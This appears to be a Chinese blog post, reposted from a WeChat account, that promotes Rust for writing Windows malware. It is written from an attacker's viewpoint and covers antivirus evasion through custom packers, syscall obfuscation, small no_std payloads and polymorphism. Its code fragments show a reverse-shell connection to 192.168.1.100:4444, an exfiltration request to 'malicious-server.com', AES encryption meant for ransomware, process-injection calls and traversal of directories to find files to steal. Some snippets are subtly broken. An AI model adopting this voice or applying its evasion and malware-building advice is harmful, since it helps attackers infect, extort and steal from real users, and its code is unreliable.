概括
所提供的上下文讨论了在恶意软件开发中使用 Rust 而不是 C 和 C++ 的优势,强调了 Rust 的内存安全性、并发性、低级控制、跨平台功能、高级库、避免检测、易于开发以及针对 Windows 防病毒系统的逃避技术。
抽象的
这篇题为“Rust 中的阴影:制作高级 Windows 恶意软件”的综合博客文章深入探讨了 Rust 在恶意软件开发领域的蓬勃发展。它概述了 Rust 的现代编程功能(例如其内存安全保证、内置并发机制和强大的生态系统)如何比传统的恶意软件开发语言(如 C 和 C++)提供显著优势。文章强调了 Rust 创建更稳定、更隐蔽的恶意软件的能力,重点介绍了它凭借独特的二进制指纹、高级混淆和多态性功能、内存和执行流保护以及高效的代码生成,有效地逃避防病毒程序的检测。作者还深入介绍了如何利用 Rust 的内置库和功能(包括tokio异步网络、reqwestHTTP 客户端操作和RustCrypto加密函数)来制作具有跨平台支持和现代逃避技术的复杂恶意软件。文章的结论强化了这样一种观点,即 Rust 正在通过创建更难检测且执行更可靠的恶意软件来彻底改变恶意软件开发领域。
观点
-
Rust 的内存安全功能被视为恶意软件开发人员的显著优势,它降低了可能暴露恶意软件的错误和崩溃的风险。
-
作者认为 Rust 的并发模型更适合编写多线程恶意软件,因为它可以防止编译时的数据竞争,从而避免不稳定。
-
Rust 的低级控制与 C/C++ 类似,因其能够与系统资源交互同时通过其所有权系统保持安全而受到赞赏。
-
Rust 的跨平台功能被强调为一个关键优势,它允许恶意软件以最少的代码更改来针对多个操作系统。
-
Rust 生态系统(包括 Cargo 及其大量的库)被认为可以促进更快、更安全的恶意软件开发。
-
Rust 逃避防病毒系统检测的潜力是一个反复出现的主题,其新颖的二进制模式和多态性和混淆等现代逃避技术尤其引人注目。
-
Rust 具有错误处理和出色的文档等功能,因此易于开发和维护,这被视为创建复杂且可维护的恶意软件的优势。
-
作者表示,Rust 的独特功能(例如运行时加密和打包)使其成为编写可绕过当前检测机制的恶意软件的绝佳选择。
-
结论强调了这样的观点:Rust 不仅仅是一种替代方案,而且是恶意软件开发的最佳选择,它提供了 C 和 C++ 难以实现的性能、可靠性和隐身性的组合。
在这篇博文中,我们深入分析了恶意软件开发人员在恶意软件开发中越来越多地选择 Rust 而不是 C 和 C++ 的各种原因。
Rust 因其相对于 C 和 C++ 的独特优势而在恶意软件开发领域越来越受欢迎。从技术角度和黑客角度来看,Rust 的优势如下:
内存安全
C/C++:C 和 C++ 都允许直接操作内存,这使得它们非常强大,但也容易出现常见的安全问题,如缓冲区溢出和悬空指针。这些漏洞经常被恶意软件利用。
Rust:Rust 在编译时强制执行严格的内存安全规则,使得意外编写不安全代码变得更加困难。它在设计上避免了缓冲区溢出和释放后使用错误。
-
示例:在 C 语言中,忘记释放内存(或错误释放)可能会导致内存泄漏或崩溃。在 Rust 中,所有权系统会自动管理内存分配和释放,无需人工干预。
黑客视角:作为恶意软件开发者,使用 Rust 可降低因内存问题导致意外崩溃和错误的风险,从而使恶意软件更加稳定,更难通过随机故障被发现。
并发
C/C++:用 C/C++ 编写并发代码可能比较棘手。它需要仔细管理线程和同步,这可能会引入错误或竞争条件。
Rust:Rust 具有内置的并发机制,可在编译时防止数据争用。这意味着您可以更安全、更高效地编写多线程恶意软件(例如,用于分布式拒绝服务 (DDoS) 攻击或并行化任务)。
黑客视角:使用 Rust,您可以开发更快、更复杂、多线程的恶意软件,而不必担心可能导致不稳定的并发错误。
低级控制
C/C++:这些语言在恶意软件开发中很受欢迎,因为它们可以对内存和处理器指令等系统资源进行细粒度的控制。
Rust:Rust 虽然强调安全性,但它仍通过其不安全块提供与 C/C++ 相同的低级控制。您可以执行访问原始指针或直接操作硬件等任务,但 Rust 可确保这些不安全的操作与您的其余代码隔离。
示例:您可以在不安全块中绕过内存保护,但 Rust 会确保这不会影响代码的其他部分。
黑客视角:Rust 允许你在需要时进入“不安全”状态(利用某些漏洞、操纵硬件或与低级系统调用交互),但还有隔离这些操作的额外好处,使你的恶意软件更加稳定和可靠。
跨平台能力
C/C++:用 C/C++ 编写的恶意软件可以针对多种操作系统,但管理跨平台兼容性(例如 Windows、Linux 和 macOS 之间)通常需要不同的代码库或大量条件代码。
Rust:Rust 使跨平台开发变得更容易。它在针对不同的操作系统时提供一致的体验,允许您编写只需进行最少更改即可感染多个平台的恶意软件。
-
示例:您可以开发一个 Rust 恶意软件,使用几乎相同的代码库感染 Windows 和 Linux 机器,并在需要时利用特定于平台的模块。
黑客视角:这使得 Rust 成为编写针对各种操作系统的恶意软件的绝佳选择,从而减少了您的开发时间和精力。
先进的图书馆和生态系统
C++:虽然两者都拥有庞大的库,但设置它们、管理依赖项和确保安全性是一个手动过程,这可能会引入漏洞。
Rust:Rust 生态系统包括 Cargo,这是一个简化库管理、测试和集成的包管理器。这意味着您可以快速集成加密库、网络实用程序或恶意软件所需的任何其他模块。
-
示例:Rust 的生态系统提供了tokio用于异步网络之类的库,从而可以轻松创建与命令和控制服务器有效通信的隐秘恶意软件。
黑客视角:Rust 强大的生态系统让您可以更加专注于恶意软件的实际功能,而不是管理库或调试第三方代码。
避免检测
C/C++:用 C/C++ 编写的恶意软件很常见,防病毒程序也很容易理解。基于签名的检测工具通常具有预定义的模式来识别 C/C++ 恶意软件。
Rust:由于基于 Rust 的恶意软件仍然相对较新,因此针对它的检测签名较少。因此,用 Rust 编写的恶意软件可以更容易地逃避检测。
-
示例:Rust 可以生成与传统 C/C++ 二进制文件不同的恶意软件二进制文件,这使得基于签名的防病毒系统不太可能检测到它。
黑客观点:通过使用 Rust,您的恶意软件可能会更长时间地逃避检测,从而有更多的时间执行和传播。
易于开发和维护
C/C++:这些语言可以让你控制,但需要仔细的内存管理、调试和测试。编写安全可靠的恶意软件通常需要大量的样板代码。
Rust:Rust 注重开发人员体验(通过 Cargo、包管理、错误处理和出色的文档等功能)意味着您可以更快地编写更干净、更易于维护的恶意软件。
-
示例:Rust 的错误处理系统迫使您提前处理潜在错误,从而减少生产恶意软件中的错误。
黑客观点:更快地编写更干净、更易于维护的代码的能力使您能够快速迭代,这在处理复杂的恶意软件项目或需要适应新的防御措施时尤其有用。
结论
总而言之,Rust 提供:
-
内存安全,且不牺牲性能。
-
不引入竞争条件的并发性。
-
低级控制,隔离不安全操作。
-
只需最少的代码更改即可实现跨平台支持。
-
野外的检测特征较少,有助于隐身。
-
利用现代生态系统轻松实现开发。
对于恶意软件开发,Rust 提供了 C/C++ 的性能,同时最大限度地减少了引入可能导致恶意软件崩溃或暴露的错误的可能性,同时提供了使开发更快、更隐蔽的工具。这使得 Rust 成为希望编写高效、可靠且更难检测的恶意软件的恶意软件开发人员的绝佳选择。
在逃避 Windows 防病毒 (AV) 和内置安全功能方面,用 Rust 编写的恶意软件比 C 和 C++ 具有多项优势。让我们将其分解为几个关键方面:
独特的二进制指纹
C/C++:用 C/C++ 编写的恶意软件通常在二进制结构上具有共同的特征,因为这些语言已经存在很长时间了。防病毒程序拥有丰富的签名和启发式方法,旨在检测 C/C++ 恶意软件中的常见模式。
Rust:Rust 编译成机器代码的方式与 C/C++ 不同,生成的二进制文件具有不同的模式。由于 Rust 在恶意软件世界中仍然相对较新,因此它没有那么多已知的签名,这使得防病毒引擎更难根据预先存在的模式进行检测。
示例:Rust 编译的可执行文件可能与 C++ 编译的可执行文件具有完全不同的结构,因此不太可能被基于签名的检测系统标记。
黑客观点:通过使用 Rust,您可以创建对防病毒引擎来说更新颖的恶意软件,从而有助于逃避基于签名的检测。
内存和执行流保护
C/C++:用 C/C++ 编写的传统恶意软件可能容易受到基于内存的攻击,例如堆栈溢出或内存损坏。这些漏洞通常是 AV 或 Windows 内置保护措施(如数据执行保护 (DEP)和地址空间布局随机化 (ASLR))的入口点。
Rust:Rust 的严格内存管理规则可防止 AV 解决方案用来检测和阻止恶意行为的许多常见内存错误。Rust 通过其所有权系统强制执行内存安全,确保恶意软件不会表现出可能引起 Windows 安全功能或 AV 警报的意外或不安全行为。
-
示例:AC 恶意软件可能会因为可预测的内存使用情况触发ASLR ,而 Rust 代码可以通过确保内存安全和防止内存损坏来避免这种可预测的模式。
黑客视角:Rust 的内存安全功能降低了恶意软件触发基于内存的防御(如 DEP 和 ASLR)的可能性,使得安全软件更难检测或阻止其执行。
利用 AV 盲点
C/C++:由于许多 AV 工具在设计时都考虑了 C/C++,因此它们经过优化,可以检测用这些语言编写的恶意软件中常见的模式、行为和漏洞。
Rust:AV 引擎通常不太熟悉 Rust 二进制文件的特性。此外,Rust 提供了一定程度的抽象,可以帮助避免 AV 工具使用的更直接的检测方法,例如扫描常见的 API 调用或代码结构。
-
示例:Rust 不直接使用 WinAPI 函数(在 C/C++ 恶意软件中常见),而是有自己的抽象,这可能无法直接映射到 AV 软件寻找的已知恶意 API 模式。
黑客视角:AV 引擎通常专注于特定的语言约定。使用 Rust 意味着您的恶意软件可以利用这些漏洞,不符合预期的模式,从而增加逃避的机会。
动态分析规避
C/C++:Windows Defender 和其他 AV 工具使用动态分析(基于行为的检测)来检测运行时的恶意活动。用 C/C++ 编写的恶意软件可能会显示常见的恶意行为(如可疑的内存分配或 API 调用),AV 工具会监控这些行为。
Rust:使用 Rust,您可以利用现代库来构建在运行时行为不同的恶意软件。Rust 能够高效处理复杂任务(例如异步 I/O tokio),这使得 AV 软件更难实时检测恶意行为。
-
示例:使用 Rust 中的异步任务,你的恶意软件可以避免创建 AV 可能标记为恶意的易于识别的系统调用模式。
黑客观点:Rust 允许您编写实时行为不同的恶意软件,这使得基于行为的 AV 引擎更难以检测可疑活动。
高效的代码和更小的攻击面
C/C++:由于手动内存管理和包含外部库,C/C++ 中的恶意软件可能很大或臃肿。更大的代码库为 AV 提供了更多的攻击面来检测。
Rust:Rust 以编写更优化、更高效的代码而闻名。其内置的优化和内存管理功能可减少留下 AV 工具可能标记的痕迹或不必要行为的可能性。此外,Rust 可让您通过保持恶意软件精简来避免臃肿。
-
示例:通过使用 Rust 的严格编译时检查,你的恶意软件可以避免可能暴露它的不必要的函数调用或内存分配。
黑客视角:恶意软件越小、效率越高,AV 越难检测到。Rust 有助于减少代码占用空间,使其不那么引人注目,并为 AV 引擎提供更少的线索。
反病毒逃避技术
C/C++:C/C++ 恶意软件中的传统逃避技术依赖于 API 挂钩、DLL 注入或代码加密。虽然这些技术很有效,但 AV 公司非常了解它们并制定了应对措施。
Rust :Rust 仍然可以使用这些传统的逃避技术,但可以使用非常规调用约定、异步执行和控制流平坦化等现代功能来掩盖恶意软件的行为,使它们更难被发现。
-
示例:您可以实现间接系统调用或使用较新的技术(如系统调用混淆),而不是使用调用可疑的 WinAPI 函数等传统技术,从而使检测更具挑战性。
黑客观点:Rust 允许您使用传统和现代技术,但它通过使用 AV 不太熟悉的独特执行模式提供了额外的伪装层。
运行时加密和打包
C/C++:打包和加密恶意软件是逃避 AV 检测的常用技术。然而,C/C++ 恶意软件经常使用知名的打包程序,而 AV 工具已经开发出签名来检测解包例程。
Rust:Rust 的编译时功能允许创建不太可能与已知 AV 签名匹配的自定义打包程序和加密例程。此外,Rust 强大的加密库使实施安全的自定义加密技术来保护恶意软件变得更加容易。
-
示例:您可以编写一个自定义的基于 Rust 的打包程序来包装您的恶意软件,这使得 AV 引擎更难以解压和分析它。
黑客视角:使用 Rust,您可以创建自定义打包程序和加密方法,使得 AV 更难以分析和逆向工程。
结论
用 Rust 编写的恶意软件可以更有效地逃避 Windows 防病毒软件和内置安全功能,因为它具有以下特点:
-
独特的二进制指纹,使得基于签名的 AV 工具更难检测到。
-
混淆和多态性,增加了逆向工程和分析的难度。
-
内存安全,降低触发基于内存的防御(如 DEP 或 ASLR)的可能性。
-
新颖的行为模式,避免 AV 密切监控的传统 API 调用。
-
高效且更小的代码,减少了攻击面并使恶意软件更难被发现。
-
自定义加密和打包,使得 AV 更难解包或分析。
通过利用 Rust,恶意软件开发人员可以创建更隐秘、更有弹性的恶意软件,以更好地逃避防病毒程序和 Windows 安全功能所采用的现代检测技术。
以下是从恶意软件开发人员的角度来看 Rust比 C 和 C++ 更好的关键内置功能,并附有简单示例展示如何将它们应用于不同类型的恶意软件。
1. 没有垃圾收集器的内存安全
-
作用:Rust 通过其所有权和借用系统保证内存安全。这可确保防止内存泄漏、缓冲区溢出和释放后使用错误。
-
为什么它对恶意软件很重要:您的恶意软件将不太容易出现错误或崩溃,从而变得更加可靠,而无需复杂的手动内存管理。
示例:在 Rust 中,内存是自动管理的,不需要垃圾收集器,这与 C/C++ 不同,在 C/C++ 中,如果忘记free()或发生内存泄漏很常见。delete
let data = vec![1, 2, 3]; // Rust automatically cleans up when 'data' goes out of scope.
恶意软件用例:键盘记录器可以利用 Rust 的内存安全性来捕获击键,而不会因内存管理不善而崩溃。
2. 并发和异步编程
-
功能:Rust 内置对安全多线程和async/await 的支持,允许恶意软件同时执行多个任务,而不会出现竞争条件等常见问题。
-
为什么它对恶意软件很重要:您可以编写高效、多任务的恶意软件(如机器人或远程访问工具),而不会引入细微的错误。
示例:Rust 的async/await系统允许您构建异步恶意软件,该恶意软件可以处理多个网络连接而不会阻塞。
async fn send_command() {
let response = TcpStream::connect("192.168.1.100:4444").await;
}
恶意软件用例:命令和控制 (C2)恶意软件可以使用 Rust 的并发模型同时处理多个受害者的连接。
3. 使用 Result/Option 内置错误处理
-
它的作用Result:Rust 强制开发人员使用和类型处理潜在错误Option,防止因未处理的错误而导致崩溃。
-
为什么它对恶意软件很重要:您的恶意软件可以优雅地处理不同的故障(例如,网络连接或文件访问失败)而不会崩溃,从而提高可靠性。
示例:Rust 的Result类型可以防止忽略错误,而不像 C/C++,其中错误可能未经检查。
match TcpStream::connect("192.168.1.100:4444") {
Ok(stream) => println!("Connection successful!"),
Err(e) => println!("Connection failed: {}", e),
}
恶意软件用例:勒索软件程序试图加密文件,但会安全地跳过那些无法访问的文件,否则就会崩溃。
4.模式匹配
-
功能:Rust 允许开发人员使用模式匹配(match)以干净、可读的方式处理复杂的分支逻辑。
-
为什么它对恶意软件很重要:简化决策代码,例如根据不同的系统响应确定采取哪些操作。
示例:Rustmatch使处理多种情况变得简单、干净。
match user_input {
"keylog" => start_keylogger(),
"reverse_shell" => start_reverse_shell(),
_ => println!("Unknown command"),
}
恶意软件用例:一种多功能木马,可以根据攻击者的命令在不同的攻击模式之间切换。
5. 强类型系统
-
它的作用:Rust 的强类型系统确保以一致且正确的方式使用变量,从而减少错误和意外行为。
-
为什么它对恶意软件很重要:防止与类型相关的错误,这些错误可能会导致恶意软件行为不可预测或崩溃。
示例:Rust 不会让您错误地使用变量(例如,将字符串添加到整数)。
let port: u16 = 4444; // Ensure the port is of the correct type
6.跨平台编译
-
功能:Rust利用内置的交叉编译支持,可以轻松地为多个平台(Windows、Linux、macOS)进行交叉编译。
-
它对恶意软件的重要性:您的恶意软件只需最少的代码更改就可以针对多个操作系统,从而扩大其影响范围。
示例:你可以从 Linux 系统编译适用于 Windows 的 Rust 恶意软件:
cargo build --release --target x86_64-pc-windows-gnu
恶意软件用例:跨平台后门,无需重写整个代码库即可在 Windows 和 Linux 目标上运行。
7. 用于代码生成的宏
-
功能:Rust 支持强大的宏,允许在编译时生成代码,从而轻松创建重复或复杂的代码。
-
为什么它对恶意软件很重要:您可以混淆恶意软件代码或生成动态代码结构,以避免防病毒工具的静态检测。
示例:宏可用于生成恶意软件的重复部分,使其更难以静态分析。
macro_rules! obfuscate {
($cmd:expr) => {
format!("cmd /C {}", $cmd)
};
}
恶意软件用例:多态病毒每次运行时都会生成不同的代码变体,这使得防病毒软件难以识别模式。
8. 高效使用包(库)
-
它的作用:Rust 拥有庞大的包(库)生态系统,提供预先构建的功能,例如网络、加密和文件操作。
-
为什么它对恶意软件很重要:您可以使用这些库快速向您的恶意软件添加高级功能,而无需从头开始构建所有内容。
示例:tokio在恶意软件中使用异步网络包:
use tokio::net::TcpStream;
恶意软件用例:远程访问工具 (RAT),需要使用tokio和rustls板条箱进行可靠的加密通信以实现异步和安全连接。
9. Rust 的 no_std 用于较小的二进制文件
-
其功能:通过禁用 Rust 标准库 ( no_std),您可以使恶意软件更小并减少其占用空间,从而更难通过大小或签名来检测。
-
为什么它对恶意软件很重要:较小的二进制文件可以逃避基于大小的检测机制,特别是在编写像 shellcode 这样的有效负载时。
示例:使用no_std可减少二进制大小,使得恶意软件不太可能根据大小阈值触发 AV。
#![no_std]
恶意软件用例:将小型后门负载注入合法进程,由于其大小需要避免被检测到。
Rust 提供了大量内置库(也称为crate ),它们在许多方面都优于 C 和 C++ 库。这些库通过提供强大、高效和安全的功能,使开发不同类型的恶意软件变得更加容易。以下是从恶意软件开发人员的角度对重要 Rust 库的细分:
1. Tokio(异步网络和 I/O)
-
功能:提供异步网络和 I/O 功能,允许恶意软件有效地处理网络任务而不阻止其他操作。
-
为什么它比 C/C++ 更好:在 C/C++ 中,您需要手动管理线程或使用第三方库,例如libuv。在 Rust 中,tokio使用可以简化该过程async/await。
示例tokio:用于与远程攻击者异步通信的反向 shell 。
use tokio::net::TcpStream;
async fn reverse_shell() {
let stream = TcpStream::connect("192.168.1.100:4444").await.unwrap();
// Handle communication
}
恶意软件用例:非常适合命令和控制 (C2)恶意软件或僵尸网络,其中恶意软件必须保持长期连接而不会减慢速度或崩溃。
2.Reqwest(HTTP 客户端)
-
功能:提供易于使用的异步 HTTP 客户端功能。
-
为什么它比 C/C++ 更好:在 C/C++ 中,类似的库libcurl通常用于 HTTP,但reqwest在 Rust 中更为现代,并且可以轻松与 Rust 的异步模型集成。
示例:使用reqwest恶意软件将数据发送到远程服务器。
let response = reqwest::get("http://malicious-server.com/").await.unwrap();
恶意软件用例:非常适合需要使用 HTTP 将被盗数据发送到远程服务器的数据泄露恶意软件。
3.Hyper(低级 HTTP 协议)
-
它的作用:用于构建 HTTP 客户端和服务器的低级异步 HTTP 库。
-
为什么它比 C/C++ 更好libcurl:比C++ 中的库提供对 HTTP 请求的更多控制boost::asio。
示例:用于监听传入命令的恶意软件的简单 HTTP 服务器。
use hyper::service::{make_service_fn, service_fn};
use hyper::{Body, Response, Server};
async fn handle_request() -> Result<Response<Body>, hyper::Error> {
Ok(Response::new(Body::from("Hello World")))
}
恶意软件用例:用于构建通过 HTTP 控制受感染机器的C2 服务器。
4. 加密箱(RustCrypto)
-
功能:提供加密功能,如 AES、RSA、SHA 散列等。
-
为什么它比 C/C++ 更好:C/C++ 中的加密操作通常需要使用像 OpenSSL 这样的复杂库,这可能很难安全集成。RustRustCrypto提供了安全、现代的加密操作。
示例:在勒索软件中使用 AES 加密文件。
use aes::Aes256;
use aes::cipher::{KeyIvInit, StreamCipher};
let key = [0u8; 32];
let iv = [0u8; 16];
let mut cipher = Aes256::new_from_slices(&key, &iv).unwrap();
cipher.encrypt(&mut data);
恶意软件用例:非常适合需要安全加密数据的勒索软件或数据窃取恶意软件。
5. Dirs(访问系统目录)
-
其作用:提供一种跨平台的方式来访问系统目录(例如,主目录、临时目录)。
-
为什么它比 C/C++ 更好:在 C/C++ 中,访问目录需要使用特定于平台的 API。dirs轻松处理跨平台问题。
示例:访问系统的临时目录以删除恶意软件文件。
use dirs::home_dir;
let temp_dir = std::env::temp_dir();
恶意软件用例:对于需要将文件存储在系统目录中而无需硬编码路径的投放器或有效载荷很有用。
6. Crossbeam(高级并发)
-
功能:提供高级并发工具,例如范围线程、工作窃取队列和通道。
-
为什么它比 C/C++ 更好:Rustcrossbeam提供线程安全的并发性,而没有 C/C++ 线程模型中常见的竞争条件和死锁。
示例:crossbeam用于管理僵尸网络中的多个线程。
use crossbeam::thread;
thread::scope(|s| {
s.spawn(|_| {
println!("This is a safe concurrent thread!");
});
}).unwrap();
恶意软件用例:非常适合需要高效、安全地管理并发任务的僵尸网络或DDoS 恶意软件。
7.WinAPI(Windows API 接口)
-
其功能:提供对 Windows 特定 API 的访问。
-
为什么它比 C/C++ 更好:虽然 C/C++ 可以直接访问 Windows API,但 Rust 的winapi板条箱允许以更好的安全保障和现代界面进行访问。
示例:用于winapi与 Windows 进程交互。
use winapi::um::processthreadsapi::OpenProcess;
unsafe {
let handle = OpenProcess(0x001F0FFF, 0, 1234); // Open process by PID
}
恶意软件用例:非常适合针对Windows 系统的恶意软件中的进程注入或权限提升。
8.Serde(序列化/反序列化)
-
功能:提供 JSON、CBOR 和 MessagePack 等数据格式的快速灵活的序列化和反序列化。
-
为什么它比 C/C++ 更好:在 C/C++ 中,处理序列化/反序列化需要自定义代码或外部库。在 Rust 中,serde这变得简单而安全。
示例:将数据序列化为 JSON 以便与 C2 服务器进行通信。
use serde::{Serialize, Deserialize};
#[derive(Serialize, Deserialize)]
struct Command {
name: String,
args: Vec<String>,
}
let command = Command { name: "reverse_shell".to_string(), args: vec![] };
let json = serde_json::to_string(&command).unwrap();
恶意软件用例:在模块化恶意软件中很有用,其中需要在受感染的机器和攻击者之间发送序列化命令或数据。
9. Rand(随机数生成)
-
功能:为加密和非加密用例提供随机数生成实用程序。
-
为什么它比 C/C++ 更好:randRust 中的板条箱提供了简单且加密安全的随机数生成,而 C/C++ 需要使用不太安全的函数rand()或外部库来实现加密随机性。
示例:生成用于加密的密码安全的随机密钥。
use rand::Rng;
let key: [u8; 16] = rand::thread_rng().gen();
恶意软件用例:对于需要生成随机加密密钥或每次执行时都会改变其有效负载的多态恶意软件的勒索软件至关重要。
10.文件(文件操作)
-
功能:提供实用程序以轻松、安全地读取和写入文件。
-
为什么它比 C/C++ 更好:Rust 的std::fs模块提供跨平台、安全的文件操作,而无需像 C/C++ 那样处理低级文件操作。
示例:安全地写入文件以防止恶意软件入侵。
use std::fs::File;
use std::io::prelude::*;
let mut file = File::create("malware_output.txt").unwrap();
file.write_all(b"Sensitive data").unwrap();
恶意软件用例:适用于需要安全写入或泄露文件的数据窃取恶意软件或记录器。
11. Walkdir(目录遍历)
-
功能:简化递归目录遍历,使您能够有效地搜索目录。
-
为什么它比 C/C++ 更好:在 C/C++ 中,目录遍历需要使用特定于平台的 API(如opendir()和readdir()),而walkdir在 Rust 中是跨平台且简单明了。
示例:遍历目录来搜索要窃取的文件。
use walkdir::WalkDir;
for entry in WalkDir::new("target_directory") {
let entry = entry.unwrap();
println!("{}", entry.path().display());
}
恶意软件用例:非常适合需要遍历文件系统来定位有价值文件的勒索软件或文件窃取恶意软件。
12. Signal-hook(信号处理)
-
其作用:为类 UNIX 系统提供信号处理(并对 Windows 提供有限的支持)。
-
为什么它比 C/C++ 更好:C/C++ 中的信号处理可能不安全且容易出错。在 Rust 中,signal-hook为处理 OS 信号提供了更安全的接口。
示例:处理终止信号,在恶意软件退出之前进行清理。
use signal_hook::iterator::Signals;
let signals = Signals::new(&[signal_hook::consts::SIGTERM]).unwrap();
for sig in signals.forever() {
println!("Received signal {:?}", sig);
}
恶意软件用例:对于需要响应终止信号或其他操作系统事件的rootkit或隐形恶意软件有用。
概括
-
Tokio:异步网络,实现高效的反向 shell 和 C2。
-
Reqwest:用于数据泄露的简便 HTTP 客户端。
-
Hyper:C2 服务器的低级 HTTP 控制。
-
RustCrypto:针对勒索软件和数据盗窃的安全加密。
-
Dirs:droppers 的跨平台目录访问。
-
Crossbeam:针对僵尸网络和多任务恶意软件的高级并发性。
-
WinAPI:安全访问Windows系统功能以进行进程注入。
-
Serde:用于 C2 通信的序列化。
-
Rand:为多态恶意软件生成安全随机数。
-
文件:简单的文件操作,用于窃取或删除文件。
-
Walkdir:针对勒索软件或文件窃取的有效目录遍历。
-
Signal-hook:针对隐秘恶意软件的信号处理。
这些 Rust 库提供了强大、安全且高效的工具包,用于构建各种类型的恶意软件(从反向 shell 到勒索软件),其功能超越了 C/C++。
我希望你喜欢这个博客:)
原文始发于微信公众号(Ots安全):Rust 中的阴影:制作高级 Windows 恶意软件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论